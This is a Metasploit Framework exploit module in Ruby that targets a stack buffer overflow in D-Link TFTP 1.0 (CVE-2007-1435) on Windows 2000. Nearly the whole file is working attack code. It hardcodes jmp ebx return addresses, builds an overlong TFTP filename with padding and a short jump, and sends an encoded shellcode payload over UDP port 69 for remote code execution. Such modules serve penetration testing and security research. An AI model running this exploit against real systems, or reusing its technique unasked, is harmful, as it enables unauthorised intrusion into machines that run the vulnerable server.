87 lines
2.1 KiB
Ruby
87 lines
2.1 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
include Msf::Exploit::Remote::Udp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'D-Link TFTP 1.0 Long Filename Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack overflow in D-Link TFTP 1.0.
|
|
By sending a request for an overly long file name, an attacker
|
|
could overflow a buffer and execute arbitrary code. For best results,
|
|
use bind payloads with nonx (No NX).
|
|
},
|
|
'Author' => [
|
|
'LSO <lso[@]hushmail.com>', # Exploit module
|
|
'patrick', # Refs, stability, targets etc
|
|
],
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2007-1435' ],
|
|
[ 'OSVDB', '33977' ],
|
|
[ 'BID', '22923' ],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1024,
|
|
'BadChars' => "\x00",
|
|
'Compat' =>
|
|
{
|
|
'ConnectionType' => '-reverse',
|
|
},
|
|
},
|
|
'SaveRegisters' => [ 'ecx', 'eax', 'esi' ],
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
[
|
|
# Patrick tested OK 20090228
|
|
['Windows 2000 SP4 English', { 'Ret' => 0x77e1ccf7 } ], # jmp ebx
|
|
['Windows 2000 SP3 English', { 'Ret' => 0x77f8361b } ], # jmp ebx
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => 'Mar 12 2007',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options([Opt::RPORT(69)], self)
|
|
|
|
end
|
|
|
|
def exploit
|
|
connect_udp
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
juju = "\x00\x01"
|
|
juju << Rex::Text.rand_text_alpha_upper(581)
|
|
juju << Rex::Arch::X86.jmp_short(42)
|
|
juju << Rex::Text.rand_text_alpha_upper(38)
|
|
juju << [target.ret].pack('V') + payload.encoded
|
|
|
|
udp_sock.put(juju)
|
|
|
|
handler
|
|
disconnect_udp
|
|
end
|
|
|
|
end
|
|
|